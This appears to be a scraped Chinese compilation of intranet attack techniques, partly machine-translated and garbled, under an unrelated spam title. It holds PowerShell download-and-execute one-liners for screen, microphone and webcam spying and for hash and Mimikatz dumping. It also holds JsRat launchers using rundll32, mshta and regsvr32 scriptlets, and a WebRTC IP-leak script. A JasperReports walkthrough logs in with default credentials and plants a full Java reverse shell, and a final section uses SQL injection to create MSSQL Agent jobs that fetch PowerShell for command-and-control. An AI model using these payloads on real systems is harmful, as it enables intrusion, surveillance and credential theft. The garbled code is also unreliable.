PowerShell
屏幕監控:
powershell-nop-exec by pass-c " iex(新對象)
Net.webclient)。downloadstring(' ');Show-TargetScreen”
錄音:
powershell-nop-exec by pass-c " iex(new-object net . webclient)。downloadstring(' ');GetMicrophoneAudio
-path $ env : temp \-length 10-alias ' secret ' "
監控攝像頭:
powershell-nop-exec by pass-c " iex(new-object net . webclient)。downloadstring(' ');Capture-MiniEye -RecordTime 2-
path $ env : temp \ "-path $ env : temp \ "
抓住hash :
powershelliex(new-object net . webclient)。downloadstring(' ');Get-PassHashes
抓取純文本:
powershelliex(new-object net . webclient)。downloadstring(';);Invoke-Mimikat
Empire:
Metasploit:
Js
JsRat:
Rundll32.exe JavaScript :' \.\ mshtml,runhtmlapplication
;document . write();H=h=new ActiveXObject('WinH .
5.1’);H.Open('GET ',';false);Try{h.S
end();B=h . ResponseTexteval(b);} catch (e) {新建activexobject ('WSC
李;)。run(' cmd/c taskkill/f/im rundll 32 . exe ',0,true);}
LocalNetworkScanner:
獲取客戶端內部網IP和外部網IP(STUN)
Firefox和支持Chrome的WebRTC可以請求STUN服務器返回內部和外部網絡IP。與XMLHttpRequest請求不同,您無法在STUN請求開發人員工具中查看網絡請求。
//get the IP addresses associated with an account
Function getIPs(callback){
var IP _ dups={ };
//compatibility for Firefox and chrome
var rtcpeerconnection=window . rtcpeerconnection
|| window.mozRTCPeerConnection
| | window . webkitrtcpeerconnection;
Var mediaConstraints={
選項:[{ rtpdatachannels : true }]
}
//Firefox already has a default stun server in about : config
//media。=
//[{ ' URL ' : ' stun 3360 stun . services . Mozilla . com ' }]
Varservers=未定義;
//add same stun server for chrome
I)
servers={ iceservers :[{ URLs : ' stun : stun . services . Mozilla . com ' }]};
//construct a new rtcpeerconnection
Var PC=
new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events = function(ice){ //skip non-candidate events i){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = i)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel (""); //create an offer sdp (function(result){ //trigger the stun server request (result, function(){}); }, function(){}); } //Test: Print the IP addresses into the console getIPs(function(ip){con(ip);});Demo:
mshta
啟動JsRat:
Mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp .WinH;);h.Open("GET"," 8.2.101:9998/connect",false);try{h.Send();b=h.Res ponseText;eval(b);}catch(e){new%20ActiveXObject(" WScri;).Run("cmd /c taskkill /f /im m;,0,true);}運行JSRAT:
regsvr32 /s /n /u /i:http://urltoJSRAT.sct
<?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinH.5.1\");w=new%20ActiveXObject(\"WScri\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScri\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}"; new ActiveXObject("WScri;).Run(rat,0,true); ]]> </script> </registration> </scriptlet>sct
SCT:
regsvr32 /u /s /i:http://urltocalc.sct
<?XML version="1.0"?> <scriptlet> <registration description="Empire" progid="Empire" version="1.00" classid="{20001111-0000-0000-0000-0000FEEDACDC}" > <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" --> <!-- regsvr32 /s /i:http://server --> <!-- That should work over a proxy and SSL/TLS... --> <!-- Proof Of Concept - Casey Smith @subTee --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScri;).Run("calc.exe"); ]]> </script> </registration> <public> <method name="Exec"></method> </public> <script language="JScript"> <![CDATA[ function Exec() { var r = new ActiveXObject("WScri;).Run("cmd.exe"); } ]]> </script> </scriptlet>wsc
Wsc:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplic ation ";document.write();GetObject("script :http://urlto;)calc.wsc
<?xml version="1.0"?> <package> <component id="testCalc"> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScri;).Run("calc.exe"); ]]> </script> </component> </package>Hacking JasperReports:隱藏的SHELL特征
- 作者: re4lity 時間: October 17, 2016 分類: 滲透測試,譯文 評論
前言
不久前,我的同事跟我在對一個客戶端進行滲透測試。我們確實發現的一件事是,他們留下了幾個聯網JasperReports服務器。尋找默認管理帳戶的用戶名并沒有花費太多的精力。
也沒有用多久我們就猜解出密碼是“jasperadmin”
我從前聽過JasperReports但從來沒有碰到過要對它進行滲透測試。一個快速的google搜索也沒有對前期工作產生多大的作用。盡管這個管理界面很不常見但是它也沒有擺脫以某種方式來執行代碼,所以順利成章的我們開始在滲透旅程中把JasperReports滲透測試添加進“容易成功”的列表。
代碼和小腳本
JasperReports的目的是提取數據從各種各樣的來源,例如:databases, xml, flat files等等,并且基于用戶定義的模板用某種方式生成一份漂亮的報告。模板在JasperReports被定義為“JRXML”文件,任何擁有創建編輯報告權限的用戶都可以上傳它。
JasperReports的設計者允許數據在被包含在報告之前自定義操作。接下來就是利用一些小技巧用Java來編寫一段腳本!我想也許你會看到這個。
我們的目標呢,就是創建一個報告模板(JRXML file)當然是依舊定制的惡意腳本,當它運行時,我們可以收到一個shell。這篇文章的其余部分將會詳細描述我們是如何將腳本和報告模板聯系到一起的。
編輯模板
我們僅僅編輯一個存在的模板而不是創建一個。以下是我們將使用的模板。注意一下,過于復雜以及其中的90%是完全不必要的。下面這個只是一個帶有“JasperStudio”的簡單樣本報告。35–42行是有趣的一個部分,我在這個部分插入了“ShellScriptlet”。
<?xml version="1.0" encoding="UTF-8"?> <!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 --> <!-- 2016-10-04T14:01:12 --> <jasperReport xmlns="; xmlns:xsi="; xsi:schemaLocation=" ; name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311"> <property name="net.; value="EN-US"/> <style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/> <style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/> <style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/> <style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/> <style name="detail" fontName="DejaVu Sans" fontSize="12"> <conditionalStyle> <conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression> <style mode="Opaque" backcolor="#E0E0E0"/> </conditionalStyle> </style> <subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113"> <queryString> <![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]> </queryString> <field name="name" class="java.lang.String"/> <field name="phone_office" class="java.lang.String"/> <field name="billing_address_city" class="java.lang.String"/> <field name="billing_address_street" class="java.lang.String"/> <field name="billing_address_country" class="java.lang.String"/> <sortField name="billing_address_country"/> <sortField name="billing_address_city"/> <variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count"> <variableExpression><![CDATA[Boolean.TRUE]]></variableExpression> <initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression> </variable> <group name="CityGroup"> <groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression> </group> </subDataset> <scriptlet name="ShellScriptlet" class=";> <scriptletdescription><![CDATA[]]></scriptletDescription> </scriptlet> <title> <band height="79" splitType="Stretch"> <textField> <reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/> <textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression> </textField> </band> </title> <pageFooter> <band height="40"> <line> <reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce"> <property name="net.; value="end"/> </reportElement> </line> <textField isStretchWithOverflow="true"> <reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA["Page " + S($V{PAGE_NUMBER}) + " of"]]></textFieldExpression> </textField> <textField isStretchWithOverflow="true" evaluationTime="Report"> <reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + S($V{PAGE_NUMBER})]]></textFieldExpression> </textField> </band> </pageFooter> <summary> <band height="149" splitType="Stretch"> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/> <imageExpression><![CDATA["repo:LogoLink"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression> </image> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/> <imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression> </image> <componentElement> <reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/> <jr:table xmlns:jr="/components" xsi:schemaLocation="/components ; whenNoDataType="AllSectionsNoDetail"> <datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e"> <connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression> </datasetRun> <jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35"> <jr:groupHeader groupName="CityGroup"> <jr:cell height="30" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="Sans_Bold" positionType="Float" mode="Opaque" x="0" y="14" width="515" height="16" isPrintWhenDetailOverflows="true" backcolor="#C0C0C0" uuid="aeafecc2-ef7e-435c-ae07-1f45ed6b179a"/> <box leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid"/> </box> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + S($V{CityyNumber}.intValue() + 1) + ". " + $F{billing_address_city}+ ", " + $F{billing_address_country}]]></textFieldExpression> <anchorNameExpression><![CDATA[S($F{billing_address_city})]]></anchorNameExpression> </textField> </jr:cell> </jr:groupHeader> <jr:column width="30" uuid="43ffff20-e89f-4f73-ad8d-878e9581274a"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="30" height="16" isPrintWhenDetailOverflows="true" uuid="a76dcb9c-8601-48bc-b9cc-3d1c316e537d"> <property name="net.; value="full"/> <property name="net.; value="1"/> </reportElement> <textFieldExpression><![CDATA[" "]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="30" height="20" isPrintWhenDetailOverflows="true" uuid="73a40f28-2c08-4849-a2a9-b83ade7a6b7d"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="10"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA[$V{CityGroup_COUNT}+"."]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="240" uuid="d472eeed-282a-402b-9044-a397ca270655"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="240" height="16" isPrintWhenDetailOverflows="true" uuid="bd0d4582-5684-4e15-8623-b3f1940bf1bb"> <property name="net.; value="full"/> <property name="net.; value="2"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Name"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell style="detail" height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="240" height="20" isPrintWhenDetailOverflows="true" uuid="23562605-5611-41d8-8a40-98ad9d28834a"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{name}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="100" uuid="4612e5a3-cb0d-4533-9b54-9ad9828acbed"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="100" height="16" isPrintWhenDetailOverflows="true" uuid="d81f1db2-9f2e-4665-aa47-3d1a49cc9d15"> <property name="net.; value="full"/> </reportElement> <box leftPadding="10" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Phone"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="100" height="20" isPrintWhenDetailOverflows="true" uuid="e48d7dee-a092-45ea-8bd8-8440f76a9fd0"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{phone_office}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="145" uuid="f0397b7d-4130-4b13-88b1-d89415b269bd"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="145" height="16" isPrintWhenDetailOverflows="true" uuid="0a1206b8-d0d6-4809-a424-3d7f09606b44"> <property name="net.; value="full"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Address"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="145" height="20" isPrintWhenDetailOverflows="true" uuid="7bc63c7e-0224-441b-96ec-8a1bb67a0b84"> <property name="net.; value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{billing_address_street}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> </jr:columnGroup> </jr:table> </componentElement> </band> </summary> </jasperReport>接下來看42行:
<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>這里我們調用一個getshell的方法在ShellScriptlet_SCRIPTLET。在35行我們定義了一個ShellScriptlet_SCRIPTLET 來引用“”中的Java代碼。
<scriptlet name="ShellScriptlet" class=";> <scriptletDescription><![CDATA[]]></scriptletDescription> </scriptlet>這很簡單,但這在Java代碼本身是如何定義的呢?
編寫攻擊腳本
scriptlet用Java編寫,需要去擴展“JRDefaultScriptlet”。我從”here”中借用了一些Java代碼來反彈shell并且讓這種攻擊腳本成為跨平臺的。下面就是結果了,要注意“host”和“port”的寫法是固定的:
package ; import java.io.*; import java.net.*; import java.io.InputStream; import java.io.OutputStream; import java.io.DataInputStream; import net.; import net.; public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{ Socket socket; PrintWriter socketWrite; BufferedReader socketRead; PrintWriter commandWrite; BufferedReader commandRead; static String ip; int port = 8080; public String getShell(){ ip = "1.1.1.1"; ShellScriptlet shell = new ShellScriptlet(); (); new Thread(shell).start(); (); return "DONE"; } public void run(){ spawnShell(); } public void spawnShell(){ boolean windows = false; try{ if ( Sy("os.name").toLowerCase().indexOf("windows") != -1){ windows = true; } Runtime rt = Run(); Process p; if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe"); else p = rt.exec("/bin/sh"); InputStream readme = p.getInputStream(); OutputStream writeme = p.getOutputStream(); commandWrite = new PrintWriter(writeme); commandRead = new BufferedReader(new InputStreamReader(readme)); if(windows) commandWri("dir"); else commandWri("ls -al"); commandWri(); String line; while((line = commandRead.readLine()) != null){ socketWri(line); socketWri(); } p.destroy(); }catch(Exception e){} } public void establishConnection(){ try{ socket = new Socket(ip,port); socketWrite = new PrintWriter(),true); socketRead = new BufferedReader(new InputStreamReader())); socketWri("---Connection has been established---"); socketWri(); }catch(Exception e){} } public void getCommand(){ String foo; try{ while((foo=())!= null){ commandWri(foo); commandWri(); } }catch(Exception e){} } public static void main(String args[]){ ShellScriptlet r = new ShellScriptlet(); r.getShell(); } }對于那些不熟悉Java的,你可以用下面的命令編譯在相同的目錄中
/usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .這里指定” javac “的完整路徑是有原因的(這是Java 1.6)。如果你運行這個命令對某種系統會出錯,你需要考慮理想情況下用相同的環境來編譯它,至少不是最新的版本!
接下來我們要做的就是把所有的代碼打包趁有個jar文件然后上傳到目標站點。你可以使用下面這個代碼來完成它:
/usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf foxglove/如果一切進行的順利,你就會得到個“”文件,接下來就準備上傳這個到目標站點吧!
部署這個新的“Report”
每個版本的JasperReports似乎都有些不同,但是他們都有相同的函數和工作流。
首先很明顯我們要去驗證一下“jasperadmin/jasperadmin”:
在我這個版本中,這就立即顯示出了有一堆reports樣例的“Repository”(要確?!癟ype”這一列說的是“Report”)。
接下來,我們只要右擊一個report并且點擊“Edit”就好。
一開始,就點擊 “Controls and Resources” 之后點擊“Add Resource”。上傳我們之前創建的JAR文件并給這個資源命名為“ShellScriptlet”。結束之后我們應該可以看到下圖這樣的結果:
點擊左側欄的“Set Up”,單擊 “Upload a Local file”把我們之前創建的JRXML文件上傳了。你應該可以得到下圖所示的結果:
Jasper 現在讓我們去定義一些我們在JRXML文件引用的資源。如果你是一個keener你可能會僅僅把這些資源從JRXML文件中刪除。僅僅單擊“Add Now”并且上傳一些隨機的PNG圖片文件為你每一個引用資源…當你做完這些應該看起來像下圖一樣:
現在你只需要點擊“Submit”在這個按鈕來創建我們的惡意report就好了。哈哈
Shellz!
先別激動,在你運行這個report之前,你還要開個監聽端口去監聽你的shell?。?!
之后單擊你創建的report,它將會運行Java代碼,如果沒有什么問題,你就可以看到反彈的shell了
二-------------------------------MSSQL Agent Jobs for Command Execution
概述
如果MSSQL數據庫中開啟了MSSQL Server Agent Job服務的話,攻擊者將可以利用MSSQL Server中自帶的功能來獲取一個shell。
SQL Server Agent
SQL Server Agent是一個Windows服務,它可以用來執行自動化任務。
攻擊淺析
利用MSSQL Server中的本地功能來在Windows操作系統中執行任意命令。在整個測試過程中,xp_cmdshell存儲過程已被禁用了,并且限制了創建自定義存儲過程的能力。
當xp_cmdshell擴展存儲過程在攻擊中被使用時,大多數安全監控或檢測系統都會產生警報。而攻擊者和滲透測試人員對xp_cmdshell的濫用已經導致很多組織和企業開始禁用或限制xp_cmdshell了。
可利用MSSQL Server代理來在目標數據庫服務器中執行任意控制命令。但是,目標服務器必須滿足一下幾個條件:
- 目標服務器必須開啟了MSSQL Server代理服務;
- 服務器中當前運行的用戶賬號必須擁有足夠的權限去創建并執行代理作業;
兩個可以利用的MSSQL代理作業子系統:CmdExec和PowerShell子系統,這兩個功能可以分別用來執行操作系統命令和PowerShell腳本。
可以使用SQL注入點來創建并執行代理任務。任務所需執行的命令是一段PowerShell代碼,這段代碼可以讓目標系統與一個受Optiv控制的IP地址進行通信連接,然后下載額外的PowerShell指令。這樣一來,就可以在目標數據庫服務器與Optiv控制的服務器之間建立一條可交互的命令控制會話了。
下面這張代碼截圖顯示的是已被拆分的SQL語句。在下面這段下載命令中,URI位于兩個單引號之間,而不是之前的雙引號。這樣做是為了在SQL語句中轉義單引號。
攻擊測試
如下圖所示,SQL語句已經進行了URL編碼處理。在這個攻擊示例中,攻擊是通過HTTP GET請求來發送的,因此我們需要對攻擊payload進行URL編碼。
可以看到我們在HTTP GET請求的參數中添加了SQL注入payload,這樣我們就可以使用SQL注入了。(請注意在payload的開頭處添加的%20(空格符))
當payload運行之后,我們就可以看到命令控制會話已經建立成功了,并且使用的是“SQLSERVERAGENT”賬號的權限。
在目標主機的SQL Server中,我們可以看到SQL代理作業已經創建成功了。
總結
如果目標主機運行了MSSQL代理服務,并且代理服務使用的用戶賬號可以訪問其他的MSSQL Server的話,那么就可以利用這種攻擊來在其他的MSSQL Server中執行MSSQL Server代理作業了。除此之外,還可以設置定時代理作業,這也就意味著,不僅可以利用這種方式來躲避安全檢測,而且還可以實現對目標MSSQL Server的持久化控制。
在某些情況下,如果MSSQL Server代理服務使用的是權限更高的用戶賬號,那么就可以通過這種攻擊來實現提權。
1.《【摩托車火花塞d8rtc】沒有內部網文件攻擊姿態?!吩曰ヂ摼W,旨在傳遞更多網絡信息知識,僅代表作者本人觀點,與本網站無關,侵刪請聯系頁腳下方聯系方式。
2.《【摩托車火花塞d8rtc】沒有內部網文件攻擊姿態?!穬H供讀者參考,本網站未對該內容進行證實,對其原創性、真實性、完整性、及時性不作任何保證。
3.文章轉載時請保留本站內容來源地址,http://www.zjtianyesj.com/auto/2633952.html